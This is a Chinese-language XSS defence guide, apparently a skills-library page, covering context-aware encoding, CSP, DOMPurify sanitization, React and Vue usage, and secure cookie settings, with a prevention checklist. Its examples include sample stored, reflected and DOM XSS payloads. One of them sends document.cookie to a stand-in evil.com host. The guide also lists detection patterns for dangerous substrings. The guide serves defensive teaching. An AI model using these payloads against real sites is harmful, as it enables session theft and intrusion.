XSS 防护

按输出上下文做 HTML/属性/URL/JS 编码;Content-Security-Policy 限制内联与 eval;避免 innerHTML 拼接不可信数据。

纵深防御层级

单一手段无法覆盖全部 XSS 变体;在架构上叠三层:先控制「进」与「出」的数据形态,再用浏览器策略兜住误用。

编码(Encode)

实际输出上下文选用 HTML 实体、属性转义、URL 编码或 JS 字符串转义。默认假设数据不可信,在拼接模板或 DOM 前完成编码。

内容安全策略(CSP)

限制脚本来源、禁止或约束内联脚本与 eval,配合 report-to / report-uri 观测违规。与 nonce、hash 配合可在保留必要内联的同时收紧面。

消毒(Sanitize)

富文本等必须保留标签时,用允许列表解析 DOM 并剥离事件与危险协议(如 javascript:)。入库前与出库展示前可各做一次,与编码互补而非替代。

输出上下文对照

错误上下文编码是最常见失误之一:在 HTML 文本节点安全的转义,放进 href<script> 内仍可能出事。

上下文 典型落点 要点
HTML 文本 元素正文、textarea 外展示 转义 < > & " ';勿用不可信串拼标签结构。
HTML 属性 titledata-*、部分 src 属性转义 + 协议校验;href/src 禁止 javascript: 与可疑 data URL。
URL / 查询 重定向、链接、location 用 URL 编码/解析 API;白名单协议与主机;开放重定向单独治理。
JavaScript 内联事件已弱化;JSON 嵌入、eval 反模式 勿将不可信串直接拼进 JS 源码;用 JSON.stringify 或隔离的 application/json 块。

缓解流程(示意)

自外而内:先缩小不可信数据的「可表达力」,再在渲染侧编码,最后由 CSP 限制执行面。

  不可信输入(请求体 / URL / 存储 / 第三方 HTML)
              │
              ▼
  ┌───────────────────────┐
  │ ① Sanitize(若需 HTML)│  允许列表、去事件/危险 URL
  └───────────┬───────────┘
              ▼
  ┌───────────────────────┐
  │ ② Encode(按上下文)   │  HTML / Attr / URL / JS
  └───────────┬───────────┘
              ▼
  ┌───────────────────────┐
  │ ③ CSP(+ 可信类型等)  │  script-src、object-src、default-src
  └───────────┬───────────┘
              ▼
         浏览器安全渲染

页内演示

下方脚本仅在本页运行:高亮示例输入中的常见危险子串(示意,非完整漏洞扫描);并可根据勾选项拼接一版 CSP 预览字符串供对照文档。

危险子串高亮(示例输入)

高亮视图(<mark> 表示匹配到的常见向量片段)

匹配规则包含:script 标签片段、事件处理器、javascript:、iframe、vbscript:、data:text/html 等(演示用)。

CSP 指令预览

勾选常见指令,生成 Content-Security-Policy 预览

框架安全用法与编码函数示例

三类 XSS 攻击 payload 与防御代码

// Stored XSS payload(存储型)
// 攻击者在评论中存入:<script>document.location='https://evil.com/steal?c='+document.cookie</script>
// 防御:出库渲染时 HTML 编码,不直接 innerHTML

// Reflected XSS payload(反射型)
// URL: /search?q=<img src=x onerror=alert(document.domain)>
// 防御:服务端输出时转义,CSP 限制内联脚本

// DOM XSS payload
// URL fragment: #<img src=x onerror=alert(1)>
document.getElementById('output').innerHTML = location.hash.slice(1); // ❌
// 防御:用 textContent 而非 innerHTML
document.getElementById('output').textContent = location.hash.slice(1); // ✅

React dangerouslySetInnerHTML 错误 vs DOMPurify 正确用法

// ❌ 危险:未消毒的 dangerouslySetInnerHTML
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// ✅ 安全:DOMPurify 消毒后再渲染
import DOMPurify from 'dompurify';

function Comment({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
    ALLOWED_ATTR: ['href', 'title'],
    ALLOW_DATA_ATTR: false,
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// ✅ Vue v-html 安全使用规则
// 仅在受信任的内容上使用 v-html,用 DOMPurify 预处理:
// <div v-html="sanitizedContent"></div>
// computed: { sanitizedContent() { return DOMPurify.sanitize(this.rawHtml) } }

四种编码上下文的函数示例

// HTML 编码(Node.js — he 库)
import he from 'he';
const htmlEncoded = he.encode('<script>alert(1)</script>');
// → '&lt;script&gt;alert(1)&lt;/script&gt;'

// URL 编码
const urlEncoded = encodeURIComponent(userInput);
// 用于 query string 值,不用于整个 URL

// JavaScript 字符串编码(嵌入 <script> 内时)
const jsEncoded = JSON.stringify(userInput)
  .replace(/</g, '\\u003c')
  .replace(/>/g, '\\u003e')
  .replace(/&/g, '\\u0026');

// CSS 编码(用户控制 style 属性值时)
function cssSafeValue(val) {
  return val.replace(/[^a-zA-Z0-9\-_]/g, c =>
    '\\' + c.codePointAt(0).toString(16) + ' '
  );
}

安全 Cookie 配置完整示例

// Express.js — 安全 Cookie 配置
res.cookie('session', token, {
  httpOnly: true,      // 防 JS 读取(XSS 窃取 cookie)
  secure: true,        // 仅 HTTPS
  sameSite: 'Strict',  // 防 CSRF('Lax' 为大多数场景的平衡点)
  maxAge: 3600000,     // 1 小时
  path: '/',
  domain: 'example.com',
});

# Nginx — Set-Cookie header 示例
# add_header Set-Cookie "session=$token; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600"
  • 存储型 XSS:入库前消毒与出库编码双保险;DOMPurify 配置 ALLOWED_TAGS 白名单。
  • 第三方脚本:子资源完整性 SRI(integrity=sha256-...)与供应链审查。

SKILL 片段

---
name: xss-prevention-checklist
description: 审查前后端 XSS 面,覆盖三类 XSS、框架安全用法、四种编码上下文与 CSP
---
# 步骤
1. 识别三类 XSS:Stored / Reflected / DOM — 每类提供 payload 示例
2. DOM 操作:禁止 innerHTML/outerHTML 拼接不可信数据,改用 textContent
3. React:审查所有 dangerouslySetInnerHTML;必须使用 DOMPurify.sanitize
4. Vue:审查 v-html 使用;渲染前 DOMPurify 预处理
5. 富文本:DOMPurify ALLOWED_TAGS 白名单,禁用事件属性与 javascript: 协议
6. HTML 编码:he.encode 或框架内置(Jinja2 autoescape、Thymeleaf th:text)
7. URL 编码:encodeURIComponent 用于 query 值;校验 href/src 禁止 javascript:
8. JS 上下文嵌入:JSON.stringify + Unicode 转义 <、>、&
9. CSS 上下文:cssSafeValue 函数限制合法字符集
10. CSP:default-src 'self',script-src 使用 nonce 或 hash,禁 unsafe-inline
11. Cookie:httpOnly + secure + sameSite=Strict/Lax + 合理 maxAge
12. 测试向量:基础 <script>alert(1)</script>、事件 onerror=、URL javascript:
13. SRI:第三方脚本添加 integrity=sha256-... 与 crossorigin=anonymous

# 禁止
- 禁止将用户输入直接赋值给 innerHTML 或 document.write
- 禁止 CSP 使用 unsafe-eval(除非有充分的框架需求并加 hash)

返回技能库 更多技能入口